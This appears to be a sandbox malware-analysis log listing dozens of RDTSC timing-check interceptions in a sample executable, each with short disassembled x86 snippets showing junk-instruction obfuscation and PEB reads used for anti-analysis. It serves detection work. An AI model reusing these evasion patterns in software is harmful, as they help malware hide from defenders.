Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A67497 second address: A674A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A674A1 second address: A674BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDEF8F19BB6h 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jo 00007FDEF8F19BB6h 0x00000016 pushad 0x00000017 popad 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A6C529 second address: A6C52D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A6C52D second address: A6C541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDEF8F19BB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007FDEF8F19BB6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 98C2D3 second address: 98C301 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDEF8F40766h 0x00000008 jmp 00007FDEF8F4076Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 jc 00007FDEF8F40766h 0x00000018 jmp 00007FDEF8F4076Eh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A76E76 second address: A76E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A76E7E second address: A76E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A76E87 second address: A76E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A76E8B second address: A76EA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40770h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A7EDD6 second address: A7EDFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 jl 00007FDEF8F19BD6h 0x0000000c push edi 0x0000000d jmp 00007FDEF8F19BC8h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A7F20B second address: A7F217 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A7F217 second address: A7F224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A7F224 second address: A7F22A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A7F39F second address: A7F3A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A7F4C4 second address: A7F4CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A7F4CA second address: A7F4DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FDEF8F19BB6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A7F4DB second address: A7F4DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A7F4DF second address: A7F4E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A7F4E3 second address: A7F4F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDEF8F4076Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A7F4F6 second address: A7F4FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A7F4FC second address: A7F51D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDEF8F40777h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A7F51D second address: A7F521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A83C99 second address: A83CB6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDEF8F4076Fh 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FDEF8F40766h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A83853 second address: A83857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A83857 second address: A8385F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: ACFF50 second address: ACFF62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a jg 00007FDEF8F19BB6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: ACFF62 second address: ACFF91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FDEF8F4077Fh 0x0000000b jnl 00007FDEF8F40766h 0x00000011 jmp 00007FDEF8F40773h 0x00000016 popad 0x00000017 pushad 0x00000018 push esi 0x00000019 jg 00007FDEF8F40766h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: AD21AD second address: AD21B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: AD6E11 second address: AD6E1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: AD6E1A second address: AD6E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jnc 00007FDEF8F19BB6h 0x0000000e popad 0x0000000f jmp 00007FDEF8F19BC3h 0x00000014 popad 0x00000015 pushad 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: AD6CA7 second address: AD6CC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDEF8F40778h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: B9B66D second address: B9B677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDEF8F19BB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: B9B677 second address: B9B686 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jo 00007FDEF8F40766h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: B9B686 second address: B9B6AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 pushad 0x0000000a jne 00007FDEF8F19BB6h 0x00000010 jnl 00007FDEF8F19BB6h 0x00000016 jnc 00007FDEF8F19BB6h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jng 00007FDEF8F19BB6h 0x00000025 push ecx 0x00000026 pop ecx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: B9B6AD second address: B9B6B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: B9B6B1 second address: B9B6BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: B9A66C second address: B9A68D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDEF8F40778h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: B9A68D second address: B9A691 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: B9A691 second address: B9A69C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: B9AD83 second address: B9AD87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: B9AEEE second address: B9AEF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: B9B076 second address: B9B07B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: B9B07B second address: B9B08B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDEF8F40766h 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: B9CC8B second address: B9CC8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: B9CC8F second address: B9CCA3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDEF8F40766h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007FDEF8F4076Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: B9CCA3 second address: B9CCA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 994B13 second address: 994B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d ja 00007FDEF8F40766h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 994B28 second address: 994B2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: BA3FFE second address: BA4009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FDEF8F40766h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB001A second address: 6EB0088 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FDEF8F19BC6h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov bh, 63h 0x00000013 pushfd 0x00000014 jmp 00007FDEF8F19BBAh 0x00000019 or cx, 9A38h 0x0000001e jmp 00007FDEF8F19BBBh 0x00000023 popfd 0x00000024 popad 0x00000025 xchg eax, ebp 0x00000026 jmp 00007FDEF8F19BC6h 0x0000002b mov ebp, esp 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FDEF8F19BBAh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0088 second address: 6EB008E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB008E second address: 6EB00D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000030h] 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FDEF8F19BBEh 0x00000016 or si, 5628h 0x0000001b jmp 00007FDEF8F19BBBh 0x00000020 popfd 0x00000021 mov bx, cx 0x00000024 popad 0x00000025 sub esp, 18h 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB00D4 second address: 6EB00DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB00DA second address: 6EB00F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEF8F19BC5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB00F3 second address: 6EB00F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB00F7 second address: 6EB013F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007FDEF8F19BBAh 0x0000000e mov dword ptr [esp], ebx 0x00000011 pushad 0x00000012 jmp 00007FDEF8F19BBEh 0x00000017 mov ch, 90h 0x00000019 popad 0x0000001a mov ebx, dword ptr [eax+10h] 0x0000001d jmp 00007FDEF8F19BBDh 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FDEF8F19BBDh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB013F second address: 6EB0145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0145 second address: 6EB0149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0149 second address: 6EB014D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB014D second address: 6EB015C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB015C second address: 6EB0162 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0162 second address: 6EB017F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDEF8F19BBAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB017F second address: 6EB0185 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0185 second address: 6EB0196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEF8F19BBDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0196 second address: 6EB01A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [770206ECh] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB01A9 second address: 6EB01AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB01AD second address: 6EB024B instructions: 0x00000000 rdtsc 0x00000002 mov ebx, 36622D5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FDEF8F4076Bh 0x0000000f sub esi, 13E652FEh 0x00000015 jmp 00007FDEF8F40779h 0x0000001a popfd 0x0000001b popad 0x0000001c test esi, esi 0x0000001e jmp 00007FDEF8F4076Eh 0x00000023 jne 00007FDEF8F4154Fh 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007FDEF8F4076Dh 0x00000030 jmp 00007FDEF8F4076Bh 0x00000035 popfd 0x00000036 popad 0x00000037 xchg eax, edi 0x00000038 pushad 0x00000039 movzx ecx, bx 0x0000003c pushfd 0x0000003d jmp 00007FDEF8F40771h 0x00000042 or esi, 3CB97146h 0x00000048 jmp 00007FDEF8F40771h 0x0000004d popfd 0x0000004e popad 0x0000004f push eax 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB024B second address: 6EB024F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB024F second address: 6EB02AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40773h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FDEF8F40778h 0x0000000e popad 0x0000000f xchg eax, edi 0x00000010 pushad 0x00000011 mov ecx, 7DF0781Dh 0x00000016 pushfd 0x00000017 jmp 00007FDEF8F4076Ah 0x0000001c xor al, 00000078h 0x0000001f jmp 00007FDEF8F4076Bh 0x00000024 popfd 0x00000025 popad 0x00000026 call dword ptr [76FF0B60h] 0x0000002c mov eax, 7571E5E0h 0x00000031 ret 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB02AD second address: 6EB02B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB02B1 second address: 6EB02CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40777h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB02CC second address: 6EB0340 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000044h 0x0000000b jmp 00007FDEF8F19BBEh 0x00000010 pop edi 0x00000011 pushad 0x00000012 push esi 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 pushfd 0x00000017 jmp 00007FDEF8F19BC8h 0x0000001c add ecx, 4A81F9C8h 0x00000022 jmp 00007FDEF8F19BBBh 0x00000027 popfd 0x00000028 popad 0x00000029 xchg eax, edi 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FDEF8F19BC0h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0340 second address: 6EB0344 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0344 second address: 6EB034A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB034A second address: 6EB0350 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0350 second address: 6EB0354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0354 second address: 6EB0368 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov eax, 52941117h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0368 second address: 6EB03B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007FDEF8F19BC6h 0x0000000f push dword ptr [eax] 0x00000011 pushad 0x00000012 jmp 00007FDEF8F19BBEh 0x00000017 mov ah, BEh 0x00000019 popad 0x0000001a mov eax, dword ptr fs:[00000030h] 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB03B6 second address: 6EB03BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB03BA second address: 6EB03BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB03BE second address: 6EB03C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB03C4 second address: 6EB03D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEF8F19BBCh 0x00000009 rdtsc
